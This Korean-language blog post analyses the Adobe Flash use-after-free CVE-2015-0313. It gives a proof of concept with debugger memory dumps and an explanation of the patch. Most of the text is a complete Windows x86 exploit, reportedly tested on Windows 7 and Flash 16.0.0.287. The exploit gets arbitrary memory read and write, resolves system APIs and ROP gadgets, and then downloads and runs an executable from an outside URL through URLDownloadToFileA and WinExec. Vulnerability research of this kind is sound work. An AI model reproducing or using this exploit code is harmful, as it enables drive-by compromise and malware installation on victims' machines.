Category Archives: exploit

Flash, CVE-2015-0313 분석

지난 2월 2일, 트렌드마이크로에서 발견한 플래시 1day입니다.
앞서 분석했던 CVE-2015-0311 케이스와 같이 UAF 유형의 취약점이라는 것과 UAF 타깃 오브젝트가 domainMemory로 사용되는 ByteArray 오브젝트의 데이터 버퍼라는 점이 동일하지만 취약점을 유발하는 원인이 다릅니다.

취약점 분석 환경은 Windows 7 & Flash ActiveX 16.0.0.296입니다.

1. POC 분석

ByteArray를 메인 쓰레드와 워커 쓰레드에서 같은 메모리가 사용되도록 shareable 프로퍼티 값을 True로 설정한 후 해당 ByteArray 오브젝트를 domainMemory로 지정합니다.
그리고 setSharedProperty 메소드를 이용해 ByteArray 오브젝트를 메인 쓰레드에서 워커 쓰레드로 전달합니다. 워커 쓰레드는 getSharedProperty 메소드로 전달된 ByteArray 오브젝트를 획득하고 clear 메소드를 이용해 position, length 값을 0으로 초기화하고 ByteArray 오브젝트의 데이터 버퍼를 할당 해제합니다.
이때, domainMemory는 ByteArray가 기존에 사용했던 할당 해제된 데이터 버퍼의 주소를 유지하게 되어 UAF 취약점이 발생하게 된 것입니다.

package
{
    import flash.display.Sprite
    import flash.events.Event
    import flash.utils.ByteArray
    import flash.system.Worker
    import flash.system.WorkerDomain
    import flash.system.MessageChannel
    import flash.system.ApplicationDomain
    import avm2.intrinsics.memory.casi32

    public class Main extends Sprite 
    {
        private var uv:Vector.<uint>
        private var ba:ByteArray = new ByteArray()
        public var worker:Worker
        public var mc:MessageChannel

        public function Main() 
        {
            if (Worker.current.isPrimordial) mainThread()
            else workerThread()
        }

        private function mainThread():void
        {
            ba.shareable = true
            ba.length = 0x1000
            worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
            mc = worker.createMessageChannel(Worker.current)
            mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
            worker.setSharedProperty("mc", mc)
            worker.setSharedProperty("ba", ba)
            ApplicationDomain.currentDomain.domainMemory = ba
            // dump 1
            worker.start()
        }

        private function workerThread():void
        {
            var ba:ByteArray = Worker.current.getSharedProperty("ba")
            var mc:MessageChannel = Worker.current.getSharedProperty("mc")
            ba.clear()
            // dump 2
            uv = new Vector.<uint>(1022)
            // dump 3
            mc.send("CVE-2015-0313")
        }

        private function onMessage(e:Event):void
        {
            casi32(0, 1022, 0xFFFFFFFF)
            // dump 4
        }
    }
}

주석으로 표시한 덤프 지점에서 메모리 덤프 결과입니다.

ba
07a6a088  5f248f58 400000ff 07a50ee8 07ac39e8
07a6a098  07a6a0a0 00000040 5f248f08 5f248f10
07a6a0a8  5f248f04 5f28d540 07984080 05382000
07a6a0b8  07ad09b8 00000000 00000000 5f25ad00
ba.buffer
052876c8  5f248500 00000002 0e379000 00001000
052876d8  00001000 00000000 616c662f 622f6873
ApplicationDomain.currentDomain
0c066b60  5f1763d8 00000002 07a37f98 07ac3c10
0c066b70  07a8c040 07984080 053ab128 053aa0a0
ApplicationDomain.currentDomain.domainMemory
07a8c040  5f259414 05393f50 0539cf70 07984080
07a8c050  07a8d020 0e379000 00001000 07a6a088
07a8c060  00000003 07a8c040 07982070 07982040

ba
07a6a088  5f248f58 400000ff 07a50ee8 07ac39e8
07a6a098  07a6a0a0 00000040 5f248f08 5f248f10
07a6a0a8  5f248f04 5f28d540 07984080 05382000
07a6a0b8  07ad09b8 00000000 00000000 5f25ad00
ba.buffer
052876c8  5f248500 00000003 00000000 00000000
052876d8  00000000 00000000 616c662f 622f6873
ApplicationDomain.currentDomain
0c066b60  5f1763d8 00000002 07a37f98 07ac3c10
0c066b70  07a8c040 07984080 053ab128 053aa0a0
ApplicationDomain.currentDomain.domainMemory
07a8c040  5f259414 05393f50 0539cf70 07984080
07a8c050  07a8d020 0e379000 00001000 07a6a088
07a8c060  00000003 07a8c040 07982070 07982040

ba
07a6a088  5f248f58 400000ff 07a50ee8 07ac39e8
07a6a098  07a6a0a0 00000040 5f248f08 5f248f10
07a6a0a8  5f248f04 5f28d540 07984080 05382000
07a6a0b8  07ad09b8 00000000 00000000 5f25ad00
ba.buffer
052876c8  5f248500 00000003 00000000 00000000
052876d8  00000000 00000000 616c662f 622f6873
ApplicationDomain.currentDomain
0c066b60  5f1763d8 00000002 07a37f98 07ac3c10
0c066b70  07a8c040 07984080 053ab128 053aa0a0
ApplicationDomain.currentDomain.domainMemory
07a8c040  5f259414 05393f50 0539cf70 07984080
07a8c050  07a8d020 0e379000 00001000 07a6a088
07a8c060  00000003 07a8c040 07982070 07982040
1:023> dd 0e379000 l4
0e379000  000003fe 0e381000 00000000 00000000

ba
07a6a088  5f248f58 400000ff 07a50ee8 07ac39e8
07a6a098  07a6a0a0 00000040 5f248f08 5f248f10
07a6a0a8  5f248f04 5f28d540 07984080 05382000
07a6a0b8  07ad09b8 00000000 00000000 5f25ad00
ba.buffer
052876c8  5f248500 00000002 00000000 00000000
052876d8  00000000 00000000 616c662f 622f6873
ApplicationDomain.currentDomain
0c066b60  5f1763d8 00000002 07a37f98 07ac3c10
0c066b70  07a8c040 07984080 053ab128 053aa0a0
ApplicationDomain.currentDomain.domainMemory
07a8c040  5f259414 05393f50 0539cf70 07984080
07a8c050  07a8d020 0e379000 00001000 07a6a088
07a8c060  00000003 07a8c040 07982070 07982040
1:020> dd 0e379000 l4
0e379000  ffffffff 0e381000 00000000 00000000

2. 패치 분석

cve_2015_0313_diff
취약점이 유효한 플래시 16.0.0.296 버전과 패치된 16.0.0.305 버전의 비교 결과입니다. 패치된 함수는 ApplicationDomain.currentDomain.domainMemory 프로퍼티의 Setter 함수로 보이며 domainMemory로 설정하려는 ByteArray 오브젝트의 Shareable 프로퍼티 값이 True인 경우 3735(This API cannot accept shared ByteArrays) 익셉션을 발생시킵니다.
cve_2015_0313_patch
ByteArray 오브젝트의 0x44 오프셋 위치의 1바이트가 Shareable 프로퍼티 값을 나타냅니다.

3. windows x86 Exploit – tested on windows 7 SP1 & Flash 16.0.0.287

package
{
	import flash.display.Sprite
	import flash.events.Event
	import flash.utils.ByteArray
	import flash.system.Worker
	import flash.system.WorkerDomain
	import flash.system.MessageChannel
	import flash.system.ApplicationDomain
	import avm2.intrinsics.memory.casi32

	public class Main extends Sprite 
	{
		private var ov:Vector.<Object> = new Vector.<Object>(25600)
		private var uv:Vector.<uint> = new Vector.<uint>
		private var ba:ByteArray = new ByteArray()
		private var worker:Worker
		private var mc:MessageChannel

		public function Main() 
		{
			if (Worker.current.isPrimordial) mainThread()
			else workerThread()
		}

		private function mainThread():void
		{
			ba.length = 0x1000
			ba.shareable = true
			for (var i:uint = 0; i < ov.length; i++) {
				ov[i] = new Vector.<Object>(1014)
				ov[i][0] = ba
				ov[i][1] = this
			}
			for (i = 0; i < ov.length; i += 2) delete(ov[i])
			worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
			mc = worker.createMessageChannel(Worker.current)
			mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
			worker.setSharedProperty("mc", mc)
			worker.setSharedProperty("ba", ba)
			ApplicationDomain.currentDomain.domainMemory = ba
			worker.start()
		}

		private function workerThread():void
		{
			var ba:ByteArray = Worker.current.getSharedProperty("ba")
			var mc:MessageChannel = Worker.current.getSharedProperty("mc")
			ba.clear()
			ov[0] = new Vector.<uint>(1022)
			mc.send("")
			while (mc.messageAvailable);
			ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
			ba.length = 0x500000
			var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
			var main:uint = ov[0][0x409] - 1
			var vtable:uint = vector_read(main)
			vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
			vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
			mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
		}

		private function onMessage(e:Event):void
		{
			casi32(0, 1022, 0xFFFFFFFF)
			if (ba.length != 0xffffffff) mc.receive()
			else {
				ba.endian = "littleEndian"
				var data:Array = (mc.receive() as String).split("/")
				byte_write(parseInt(data[0]))
				var buffer:uint = parseInt(data[1]) as uint
				var main:uint = parseInt(data[2]) as uint
				var vtable:uint = parseInt(data[3]) as uint
				var flash:uint = base(vtable)
				var kernel32:uint = module("kernel32.dll", flash)
				var ntdll:uint = module("ntdll.dll", kernel32)
				var urlmon:uint = module("urlmon.dll", flash)
				var virtualprotect:uint = procedure("VirtualProtect", kernel32)
				var winexec:uint = procedure("WinExec", kernel32)
				var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
				var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
				var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
				var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
				var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
				
				byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
				byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
				byte_write(0, "\x89\x03", false) // mov [ebx], eax
				byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret

				byte_write(buffer + 0x100, "http://hacklab.kr/download/0day.exe")
				byte_write(buffer + 0x200, "0day.exe")
				byte_write(buffer + 0x300, "TEMP")
				byte_write(buffer + 0x20070, xchgeaxespret)
				byte_write(buffer + 0x20000, xchgeaxesiret)
				byte_write(0, virtualprotect)

				// VirtualProtect
				byte_write(0, getenvironmentvariable)
				byte_write(0, buffer + 0x30000)
				byte_write(0, 0x1000)
				byte_write(0, 0x40)
				byte_write(0, buffer + 0x400)

				// GetEnvironmentVariable
				byte_write(0, setcurrentdirectory)
				byte_write(0, buffer + 0x300)
				byte_write(0, buffer + 0x400)
				byte_write(0, 100)

				// SetCurrentDirectory
				byte_write(0, urldownloadtofile)
				byte_write(0, buffer + 0x400)

				// URLDownloadToFile
				byte_write(0, winexec)
				byte_write(0)
				byte_write(0, buffer + 0x100)
				byte_write(0, buffer + 0x200)
				byte_write(0)
				byte_write(0)

				// WinExec
				byte_write(0, buffer + 0x30000)
				byte_write(0, buffer + 0x200)
				byte_write(0)

				byte_write(main, buffer + 0x20000)
				toString()
			}
		}
		
		private function vector_write(addr:uint, value:uint = 0):void
		{
			addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
		}

		private function vector_read(addr:uint):uint
		{
			return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
		}
		
		private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
		{
			if (addr) ba.position = addr
			if (value is String) {
				for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
				if (zero) ba.writeByte(0)
			} else ba.writeUnsignedInt(value)
		}

		private function byte_read(addr:uint, type:String = "dword"):uint
		{
			ba.position = addr
			switch(type) {
				case "dword":
					return ba.readUnsignedInt()
				case "word":
					return ba.readUnsignedShort()
				case "byte":
					return ba.readUnsignedByte()
			}
			return 0
		}

		private function base(addr:uint):uint
		{
			addr &= 0xffff0000
			while (true) {
				if (byte_read(addr) == 0x00905a4d) return addr
				addr -= 0x10000
			}
			return 0
		}

		private function module(name:String, addr:uint):uint
		{
			var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
			while (true) {
				var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
				if (!entry) throw new Error("FAIL!");
				ba.position = addr + entry
				if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
			}
			return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
		}

		private function procedure(name:String, addr:uint):uint
		{
			var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
			var numberOfNames:uint = byte_read(eat + 0x18)
			var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
			var addressOfNames:uint = addr + byte_read(eat + 0x20)
			var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
			for (var i:uint = 0; ; i++) {
				var entry:uint = byte_read(addressOfNames + i * 4)
				ba.position = addr + entry
				if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
			}
			return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
		}

		private function gadget(gadget:String, hint:uint, addr:uint):uint
		{
			var find:uint = 0
			var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
			var value:uint = parseInt(gadget, 16)
			for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
			return addr + i
		}
	}
}

4. 참고

* http://download.macromedia.com/pub/flashplayer/installers/archive/fp_16.0.0.296_archive.zip
* http://download.macromedia.com/pub/flashplayer/installers/archive/fp_16.0.0.305_archive.zip
* https://helpx.adobe.com/security/products/flash-player/apsa15-02.html
* http://hacklab.kr/analyzing-cve-2015-0313-the-new-flash-player-zero-day-by-peter-pi/
* http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0313-the-new-flash-player-zero-day/
* http://hacklab.kr/a-new-zero-day-of-adobe-flash-cve-2015-0313-exploited-in-the-wild-by-ben-hayak/
* https://www.trustwave.com/Resources/SpiderLabs-Blog/A-New-Zero-Day-of-Adobe-Flash-CVE-2015-0313-Exploited-in-the-Wild/
* http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/utils/ByteArray.html
* http://help.adobe.com/ko_KR/FlashPlatform/reference/actionscript/3/flash/system/ApplicationDomain.html
* http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/system/Worker.html
* http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/system/MessageChannel.html